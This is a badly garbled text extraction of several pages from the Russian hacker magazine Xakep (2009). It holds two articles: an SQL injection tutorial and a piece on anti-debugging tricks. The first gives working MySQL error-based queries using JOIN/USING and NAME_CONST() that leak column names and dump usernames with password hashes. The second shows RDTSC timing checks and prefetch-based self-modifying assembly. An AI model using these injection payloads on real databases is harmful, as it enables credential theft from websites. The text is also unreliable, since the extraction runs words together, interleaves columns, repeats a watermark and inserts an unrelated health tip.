Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
15.04 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

ВЫВОДИМЕНИПОЛЬЗОВАТЕЛЯИЕГОПАРОЛЯВ ПОЛУЧАЕМИМЕНАКОЛОНОКТАБЛИЦЫUSERS ТЕКСТЕОШИБКИ

test1 | 22-12-2009 |

 

 

 

 

+----

+------

+-----------

+----------

+----

+-------

+----

--------

 

+

 

 

 

 

1 row in set (0.00 sec)

 

 

 

 

 

 

 

 

 

 

 

И видим, что он вернул нам содержимое таблиц `users` и `news`

ввиде одной таблицы, причем имена колонок в таблицах остались прежними. То есть, у нас в выводимом результате — две колонки с именем 'id'. Попробуем получить значение поля 'id' из таблицы, составленной выше. Не забываем о том, что для сложных запросов

MySQL требует указания алиасов для каждой таблицы, участвующей

взапросе.

mysql> select * from (select * from users as a join news as b) as c;

ERROR 1060 (42S21): Duplicate column name 'id'

Отлично! Получилито, чтохотели, осталосьподумать, какприпомощи подобногозапросаполучитьименавсехстолбцов, кпримеру, таблицы `users`. Джойнимеесамуссобой:

mysql> select * from (select * from users as a join users as b) as c;

ERROR 1060 (42S21): Duplicate column name 'id'

Навыходеполучаемимяпервогостолбцатаблицы. Думаем, какполучитьостальные. Сновасмотримвдокументациюинаходимоператор USING, которыйиспользуетсядляуказанияспискастолбцов, которые присутствуютвобеихтаблицах:

USING (column_list) служит для указания списка столбцов, которые должны существовать в обеих таблицах. Такое выражение USING, как:

A LEFT JOIN B USING (C1,C2,C3,...) семантически идентично выражению ON, например: A.C1=B.C1 AND A.C2=B.C2 AND A.C3=B.C3,...

Тоесть, объединивтаблицы`news` и`users` ииспользуяоператор USING() спараметром'id', мыполучимрезультирующуютаблицу, в которойстолбецсименем'id' будетприсутствоватьтолькоодинраз. Пробуем:

mysql> select * from users a join news b USING(id);

 

+----

+------

+-----------

+----------

+-------

+---------

 

---+

 

 

 

 

 

| id | name | passwd | is_admin | title | date

|

+----

+------

+-----------

+----------

+-------

+---------

 

---+

 

 

 

 

 

|

1 | Ivan | password1 |

 

1 | test1 | 22-12-2009 |

+----

+------

+-----------

+----------

+-------

+---------

 

---+

1 row in set (0.00 sec)

Действительно, видимтолькоодинстолбецсименем'id', азначити попыткаполучитьстолбецсименем'id' изэтойтаблицыникакойошибки неспровоцирует.

Применимэтотоператордляполученияименостальныхполейизтаблицы`users`, сучетомтого, чтоимя'id' мыужезнаем:

mysql> select * from (select * from users a join users b using(id))c;

ERROR 1060 (42S21): Duplicate column name 'name'

Ага, узналиещеодноимястолбца— 'name', пробуемдальше:

mysql> select * from (select * from users a join users b

XÀÊÅÐ 09 /129/ 09

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

ВЗЛОМ

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WARNING

warning

Внимание! Информацияпредставлена исключительнос цельюознакомления! Ниавтор, ниредакциязатвоидействия ответственностине несут!

HTTP://WWW

links forum.antichat.ru/ thread43966.html — всеоSQL Injection. dev.mysql.com/doc

документацияпо

MySQL. forum.antichat.ru/ thread119047.html

методыбыстрой работысослепыми инъекциями.

INFO

info

Этиметодыможно использовать ивобычныхинъекци-

ях. Приихиспользованиинепридется подбиратьколичество колоноквзапросе.

СПИСОКВОЗМОЖНЫХОШИБОК SQL-ЗАПРОСОВМОЖЕТСКАЗАТЬ ОМНОГОМ

using(id, name))c;

ERROR 1060 (42S21): Duplicate column name 'passwd'

Узнаемимятретьегостолбца. Итак, одинзадругим, выявляемименастолбцоввэтойтаблице. Вконце, когдавыясним всеимена, ошибкинебудет, изапросвыполнитсяуспешно.

mysql> select * from (select * from users a join users b using(id, name, passwd, is_admin))c;

+----

+------

+-----------

+----------

+

| id | name | passwd | is_admin |

 

+----

+------

+-----------

+----------

+

|

1 | Ivan | password1 |

1 |

 

+----

+------

+-----------

+----------

+

1 row in set (0.00 sec)

Делаемвывод, чтовтаблице`users` присутствуютстолбцы

'id', 'name', 'passwd', 'is_admin'. Вродебывсехорошо, но...

методнесрабатываетнаMySQL 4-йверсии. Выясняется, чтовчетвертойверсиипритакомзапросевозникает совершеннодругаяошибка. Следовательно, всеописанное вышеможетиспользоваться, толькоеслипокаким-ли- бопричинаммынеможемвоспользоватьсятаблицей

INFORMATION_SCHEMA.tables впятойилишестойверсиях MySQL.

ВЗГЛЯДПОДДРУГИМУГЛОМ

Возможностьполучатьименастолбцовбезиспользования INFORMATION_SCHEMA — это, конечно, возможностьполезная, нотакаянеобходимостьвозникаетдовольноредко. РазвечтовслепыхSQL-инъекциях, свозможностьювыводаошибки, гдестандартныйпроцессполучениязначений занимаетдостаточномноговремени. Атутпаразапросов

ивсенужныезначенияполучены. Хотелосьбывыжатьиз этойошибкибольшее...

Недавномневаськупостучалсяjokester (Джок, большой тебепривет!) ипредложилследующуюидею: «Апочемубы непопробоватьвыводитьзначениекакого-либополяиз базыданныхвтекстеошибкицеликом, неприбегаякклассическомуиспользованиюmore 1 row?». «Идеяотличная»,

согласилсяя.

Онначалисследоватьвариантысоставлениязапросовс использованиемORDER BY, которыепринеправильном значениисортируемогополявыводятошибку:

mysql> select * from users order by lala; ERROR 1054 (42S22): Unknown column 'lala' in 'order clause'

ЯжевспомнилометодевыводаименколоноксиспользованиемJOIN. Черезнекотороевремямыобапришлик тому, чтонужнонайтикакой-нибудьспособзаставитьбазу данныхвосприниматьзначениеполякакимяколонки.

Этообуславливаетсятем, чтозапросы, которыеругаются нанеправильноеимяколонки, есть, азапросов, которые ругаютсянанеправильныеданныевтаблицеиприэтомих выводят, — нет.

Отлично, задачапоставлена, зарываемсявдокументацию. Находиминтереснуюфункциювразделе«Miscellaneous Functions», спометкой«for internal use only». Функция называетсяNAME_CONST(). Используетсятак: NAME_ CONST(name,value). Результатомработыстанетзначение 'value' встолбцесименем'name':

mysql> select name_const('Test', 111); +------+

| Test | +------+ | 111 | +------+

1 row in set (0.00 sec)

Какразто, чтонужно! Проверим, возможноливместозначения'value' выполнитькакой-нибудьзапрос. Достанем, к примеру, поле'passhash' изтаблицы'users':

mysql> select name_const((select passhash from users where id=1), 111); +----------------------------------+

| f8d80def69dc3ee86c5381219e4c5c80 |

+----------------------------------

+

|

111 |

+----------------------------------

+

1 row in set (0.00 sec)1 row in set (0.03 sec)

Отлично, все сработало, как надо — в имени столбца мы видим строку 'f8d80def69dc3ee86c5381219e4c5c80 ', которая является паролем первого пользователя из таблицы 'users'.

060

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

MYSQL НЕМОЖЕТПОНЯТЬ, КАКОЕИМЕННО ПОЛЕНАМНУЖНО

МАЛОИЗВЕСТНАЯФУНКЦИЯ

NAME_CONST()

ПОЛУЧЕНИЕХЕШАПАРОЛЯВКАЧЕСТВЕИМЕНИСТОЛБЦА

ИСПОЛЬЗОВАНИЕНОВОГОМЕТОДА НАДЕЙСТВИТЕЛЬНОСУЩЕСТВУЮЩЕМ WEB-ПРИЛОЖЕНИИ

Атеперьиспользуемэтотзапросвметодеполученияименполей, без использованияINFORMATION_SCHEMA. Аккуратненькосоставляем запрос, подставиввызовфункцииNAME_CONST вместоименитаблицы, вкоторойузнаемименастолбцов. Незабываемдобавлятьалиасык каждойиспользуемойтаблицеистараемсянезапутатьсявскобочках. Запускаем:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_ CONST((SELECT passwd FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT passwd FROM users LIMIT 1),1) k)e)r;

ERROR 1060 (42S21): Duplicate column name 'f8d80def69dc3 ee86c5381219e4c5c80'

Вотмыидобились, чегохотели. Теперьмызнаем, какдостатьизбазы данныхлюбоеполезаодинзапрос! Попробуемвытащитьбольшечем однополеприпомощифункцииCONCAT(), назначениекоторойобъединятьдвеиболеестрок. Например:

mysql> SELECT * FROM (SELECT * FROM (SELECT NAME_ CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)x)a JOIN (SELECT NAME_CONST((SELECT concat(name,0x3a,passwd) FROM users LIMIT 1),1)k)e)r; ERROR 1060 (42S21): Duplicate column name 'admin:f8d80de f69dc3ee86c5381219e4c5c80'

Такмыиполучилидваполязаодинзапрос. Ксожалению, бесконечно увеличиватьколичествовыводимыхполейневозможно, таккаквывести более64 символовнеполучится. Ноэтапроблемарешаема, еслииспользоватьфункциюSUBSTRING(), описаниеккоторойтыбезпроблем найдешьвофициальнойдокументации.

ЗАКЛЮЧЕНИЕ

Далеконевсеметодикиработысуязвимостямиисследованыдоконца, вариантовупроститьсвоюработумножество. Поэтомусоветую всемхакерам отвлекатьсяоттривиальноговзломаиуделятьвремяновымисследованиям. Ведьхакерэто, впервуюочередь, исследователь, нетакли? z

Совет№3.Списоткрытымокном!

Покаещёненасталазима,инаулиценетакхолодно,какбудетвдекабре,открытоеокнонедоставиттебедискомфорта,затодоставит втвойорганизмбольшеполезногокислорода.Утромпроснёшься

свежимибодрым.Конечно,злоупотреблятьнеследует,новразумных пределахэтооченьполезно!

XÀÊÅÐ 09 /129/ 09

061

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

ВЗЛОМ

 

w Click

 

 

 

 

 

 

ЛЕОНИД «CR@WLER» ИСУПОВ / CRAWLER@XAKEP.RU /

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

«ДЕБРИ» КОДА, В КОТОРЫЕ УХОДИТ ЗАЩИЩЕННАЯ ПРОГРАММА, ВЫПОЛНЯЕМАЯПОД ОТЛАДЧИКОМ

АНТИОТЛАДОЧНЫЕ

ТРЮКИ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Активнопротиводействуемотладкенашегоприложения

ВСетиможнонайтиогромноеколичествостатей, посвященныхреверсингу. Правда, большинствонаправленынаизучениеметодов снятияконкретныхпакеровипротекторов. Втожевремятруднонайтихорошееруководствопоантиотладке, котороебыописывалометоды, применимыевомногихслучаях.

ВАШЕВРЕМЯВЫШЛО!

Фактвыполнениякодаподотладчикомскрыть достаточносложно, этовособенностиотноситсяковременивыполненияинструкций. Действительно, каждаяинструкциявыполняетсяпроцессоромзаопределенноеколичество тактов. Знаятактовуючастотупроцессора, легковычислитьвременнойпромежуток, необходимыйдлявыполнениятогоилииного объемавычислений. Дажееслиневозможно определить, какойпроцессорвоткнутвразъем материнскойплаты, можнорассчитатьдиа-

пазон, вкоторыйтеоретически укладывается скоростьинтерпретациимашинныхинструкций. Можновводитьпоправкуинаразницув частотах, инаколичествоядерпроцессора, и натехнологииоптимизациивыполнениякода, используемыевтехилииныхпроцессорах.

Ноиэтонестольважно, еслирассматривать достаточнораспространенноеоборудование, например, процессорыIntel иAMD. Значит, можноиспользоватьантиотладочныеприемы, построенныенапринципезамеравремени исполнениянекоторыхинструкций.

Работаянадантиотладочнымкодом, мы можемпойтипоодномуизследующих путей:

1.Замервременивыполненияинструкции, сравнениеполученноговременисозначением, котороеукладываетсявпринятыерамки, но имеет«запас».

2.Точныйзамервременивыполненияряда инструкций, например, оченьбольшогоцикла. Какпервый, такивторойспособыимеютсвои преимущества.

Процессороперируетпонятиемтакта, который

062

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

НЕСПАСАЕТПОЛОЖЕНИЕДАЖЕ ВЫПОЛНЕНИЕПРОГРАММЫПО

<F9>

В ПРИНЦИПЕ, ВЫХОДЕСТЬ. ОБНУЛЕНИЕ СЧЕТЧИКАИЛИ ЗАМЕНА ИНСТРУКЦИИНА «NOP» ДАДУТ РЕЗУЛЬТАТ, НОИСПОЛЬЗОВАНИЕ МОДИФИКАЦИЙ МЕТОДА ПОЗВОЛЯЕТ ИСКЛЮЧИТЬ И ЭТУ ВОЗМОЖНОСТЬ

КОД ВЫПОЛНЯЕТСЯ ПОД OLLYDBG ПО <F7>. РЕЗУЛЬТАТ — ВОЗНИКНОВЕНИЕ ИСКЛЮЧЕНИЯ

внекоторомсмыслеявляетсяаналогом

 

ADDRESS: RDTSC

Инструкция«XCHG EAX, ECX» одновремен-

 

временногопромежутка. Есликаким-либо

 

ADDRESS_2: выполняемый код

ноявляетсяиинструкцией, длякоторой

 

образомполучитьколичествотактов, которое

 

ADDRESS_3:RDTSC

замеряется«тактовыйпромежуток», ичастью

процессорвыполнилсмоментапоследнего

 

 

антиотладочногокода(производитсясохра-

 

 

 

 

сбросасчетчикатактов, становитсявозмож-

Естественно, код, длякоторогопроизводится

нениесодержимогорегистраEAX врегистр

 

нымиспользоватьэтозначение, чтобыопре-

замер, можетбытьинеспециальнонаписан-

ECX передповторнымполучениемколичес-

 

делить, выполняетсялипотокмашинногокода

нымнабороминструкций, акакой-либочастью

тватактов). Послевыполненияпервыхтрех

 

сположеннойскоростью, илижепрограмма

программы. Младшаячасть64-битнойпосле-

инструкцийрегистрыEAX иECX содержат

 

запущенаподотладчиком. Такаявозможность

довательности, содержащейколичествотак-

значения, соответствующиеколичествутактов,

существует, инструкция«rdtsc» предоставляет

тов, помещаетсяврегистрEAX. Вбольшинстве

выполненныхпроцессоромвразноевремя

 

программистусредствадляподсчетаколи-

случаев(длянезначительногоколичества

(намоментыдоипослевызоваинструкции

 

честватактов, выполненныхпроцессоромс

инструкций) измененбудетименноон, стар-

«XCHG»). Далеевычисляетсяихразностьиее

моментапоследнегосброса. Воткакописыва-

шаяжечастьпоследовательности— регистр

сравнениесозначением0x1000. Полученная

етэтуинструкцию«Википедия»:

EDX — останетсянеизменной. Значит, если

разностьпревысилазаданнуювеличину? Нас

 

выполнитьдвазамераколичестватактов— до

отлаживают, завершаемработу.

 

«rdtsc (Read Time Stamp Counter) —

ипослевыполненияпроверочногокода— и

Попробуемиспользоватьнашкодвпрограм-

ассемблерная инструкция для плат-

получитьразностьзначений, которымибыли

ме, написаннойнаассемблере. Ееисходный

 

формы x86, читающая счетчик TSC

инициализированырегистрыEAX, полученное

кодвыглядиттак:

 

(Time Stamp Counter) и возвращающая

значениебудетколичествомтактов, которое

 

 

 

 

в регистрах EDX:EAX 64-битное коли-

процессорвыполнилмеждузамерами. Если

 

.386

 

 

чество тактов с момента последнего

предположить, чтооднаинструкциянеможет

 

 

 

 

сброса процессора. rdtsc поддержи-

выполнятьсяпроцессоромзавремя, когда

 

.model flat,stdcall

 

вается в процессорах Pentium и более

счетчик«наматывает» более0x1000 тактов,

 

 

 

 

новых. Опкод: 0F 31. В многозадачных

можнореализоватьантиотладочныйприем

 

option casemap:none

 

операционных системах инструкция

следующимобразом:

 

 

 

 

может быть превращена в привилегиро-

 

 

 

; подключение необходимых библиотек:

 

ванную (установлен 3 бит в управляю-

 

RDTSC

 

include \masm32\include\windows.inc

;

щем регистре CR4), и ее использова-

 

XCHG EAX, ECX

 

include \masm32\include\kernel32.inc ;

ние приведет к генерации исключения

 

RDTSC

 

includelib \masm32\lib\kernel32.lib

;

в программе».

 

SUB EAX, ECX

 

include \masm32\include\user32.inc

;

 

 

CMP EAX, 1000

 

includelib \masm32\lib\user32.lib

;

Длятогочтобыиспользоватьинструкцию

 

JBE NOT_DEBUGGED

 

 

 

 

RDTSC вантиотладочныхцелях, необходимо

 

CALL Kernel32.TerminateProcess

 

; секция данных

 

выполнитьеедважды: доипослевыполне-

 

 

.data

 

 

ниякода, длякоторогобудетпроизводиться

 

 

 

alert_upper

db "Simply program",0

 

замер:

 

NOT_DEBUGGED: выполнение программы

 

alert_text

db "Hello, World!",0

 

 

 

 

 

 

 

 

XÀÊÅÐ 09 /129/ 09

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

ВЗЛОМ

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

0x401032, хотяможноразместитьнижеуслов-

Исполнениеэтогонабораинструкцийприведет

 

; секция кода

 

 

.code

 

 

ногопереходаинструкциюзавершенияработы

кразличнымрезультатам, взависимостиот

 

 

 

 

программы. Результатобнадеживает: отладчик

того, каккодбылвыполнен(подотладчикомили

 

start:

 

 

OllyDBG несправилсясвыполнениемкода:).

штатно), какиеатрибутыимеетстраницапамя-

 

invoke MessageBox,

 

ЖЕЛЕЗНАЯАНТИОТЛАДКА

ти, следующаязастраницей, содержащейкод.

 

NULL,

 

Еслиатрибут«writeable» секциинеустановлен,

 

addr alert_text,

 

Особенностивыполнениянекоторыхинструк-

исполнениекодаприведетквозникновению

 

addr alert_upper,

 

цийпроцессорамипозволяетсоздаватьантиот-

исключения, чтонеизбежноповлечеткрах

 

MB_OK

 

ладочныеметоды, обойтикоторыеспособенне

программы. Поэтомудляегоиспользования

 

 

 

 

каждыйреверсер. Этосвязаносособенностями

необходимопредусмотретьустановкунеобхо-

 

invoke ExitProcess, NULL

 

архитектурыпроцессоров, которыенеучиты-

димыхатрибутовнастраницыпамяти.

 

end start

 

 

ваютотладчики. Вкачествепримераможно

Итак, какужебылосказано, результатвыпол-

 

 

 

 

привестиособенностиочередипредваритель-

нениякодазависитотнесколькихфакторов.

 

 

 

 

 

Утебяестьнесколькопутейреализациианти-

нойвыборкипроцессоровIntel. Сайтwww.intel.

Функцияданногокода, несложнодогадаться

 

отладочногоприема— можновнедритьнашу

com комментируетпонятие«предварительная

— перезаписьинструкцийповерхужесуществу-

 

конструкциюнепосредственновисходный

выборка»:

ющих. Значит, поверхинструкции«REP STOSB»

 

код, можновнестиизменениявужеоткомпи-

 

 

должензаписатьсякод, соответствующийшест-

 

лированныйPE-файл. Япредпочитаювторой

«Исходя из содержания текущей ко-

 

надцатеричномузначению0xC3. Естественно

 

способ— онгодитсядлязащитыитехпро-

манды или поставленной задачи, блок

 

предположить, чтовыполнениекодадолжно

 

грамм, исходнымкодомкоторыхмынерас-

предварительной выборки определя-

 

остановитьсясразупослетого, какинструкция

 

полагаем. Значит, откомпилируемпрограмму

ет порядок запроса соответствующих

 

REP STOSB будетперезаписана. Действитель-

 

припомощиMASM («ml /c /coff /Cp имя_фай-

данных и инструкций из командной кэш-

 

но, такое«поведение» процессора, выполняю-

 

ла.asm»; «link /SUBSYSTEM:WINDOWS /

памяти или системной памяти компью-

 

щегомашинныйкод, кажетсялогичным— ведь

 

LIBPATH:c:\masm32\lib /SECTION:.text,RWE

тера. По мере поступления инструкций

 

наместеранеевыполнявшегосякоданаходит-

 

имя_файла.obj»). Имодифицируемеелюбым

важнейшей задачей блока предвари-

 

сяновый(машинныйкод0xC3 соответствует

 

отладчиком, например, OllyDBG. Для«подо-

тельной выборки становится их пра-

 

инструкцииRET). Вслучаеесликодвыполнялся

 

пытной», исходныйкодкоторойбылрассмот-

вильное «выстраивание» и пересылка в

 

вконтекстеотладчика, всебудетпроисхо-

 

ренвыше, наборантиотладочныхинструкций,

блок декодировки».

 

дитьименнотакимобразом— выполнение

 

базирующийсяпоадресу0x401026, будет

 

 

остановится, инструкцияRET выполнится,

 

 

 

 

выглядетьтак:

Одинизспособовантиотладки, использующей

возвращаяуправлениепотомуадресу, который

 

 

 

 

механизмочередипредварительнойвыборки,

былсохраненвстек. Еслиотладчиквпамяти

 

00401026

RDTSC

 

— перезаписьисполняемогокода. Рассмотрим

отсутствует, апроцессисполняетсявконтексте

 

00401028

XCHG EAX,ECX

 

псевдокод:

операционнойсистемыбезпосредничестваот-

 

00401029

RDTSC

 

 

 

ладчика, произойдетисключение, типкоторого

 

0040102B

SUB EAX,ECX

 

ADDRESS_01: CALL ADDRESS_03

 

можетварьироватьсявзависимостиотспособа

 

0040102D

CMP EAX,500

 

ADDRESS_02: инструкции, подлежащие

 

размещенияпамяти, котораянаходитсясразу

 

00401032

JBE SHORT ex_tickc.00401000

 

исполнению

 

послерассматриваемогокода.

 

; переход к точке входа программы

 

ADDRESS_03: MOV AL, 0C3h

 

Вслучаееслипамятьявляетсяобычной

 

 

 

 

MOV EDI, OFFSET ADDRESS_03

 

виртуальнойобластью, будетсгенерировано

 

 

 

 

 

Программистанеинтересуютпоследствия

OR ECX, FFFFFFFF

 

исключение«Ошибкадоступакпамяти» (Access

 

выполнениякода, следующегопослеадреса

REP STOSB

 

violation). Программабудетзавершена, однако

 

 

 

 

 

 

еслиобработчикисключенийустановлен,

 

 

 

 

 

 

 

 

 

 

 

 

ошибкаможетбытьобработана. Вслучаеесли

 

ВЫПОЛНЕНИЕЭТОГОКОДАПОДОТЛАДЧИКОМПРИВЕДЕТККРАХУ

обращенияквиртуальнойпамятинепроизош-

 

ПРОГРАММЫ!

 

 

ло, выполнениеинструкцииrep будетпрекра-

щено. Произойдетследующаяпоследовательностьсобытий: записьинструкции«RET» (ей соответствуетразмещенныйвчастирегистра AX байт-код), еевыполнениеи, соответственно, возвраткADDRESS_02 (встекеразмещенадрес инструкции, следующейзаREP).

Объяснениеэтому— особенностьмеханизма предварительнойвыборки. ПроцессорыIntel младшеPentium призаписивадреспамяти, соответствующийадресувочереди, не очищалиочередьпредварительнойвыборки автоматически. Очередьочищаласьлишьтогда, когдавызывалосьисключение(exception).

Например, вслучаеспошаговымисключением, котороеиспользуетсяотладчикамиприкладногоуровня, очередьавтоматическиочищалась. Такимобразом, напроцессорахданного типа, вотсутствииотладчика, выполнялась быоригинальнаямашиннаяинструкция.

Еслижеотладчикприсутствует, очередьбудет

064

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

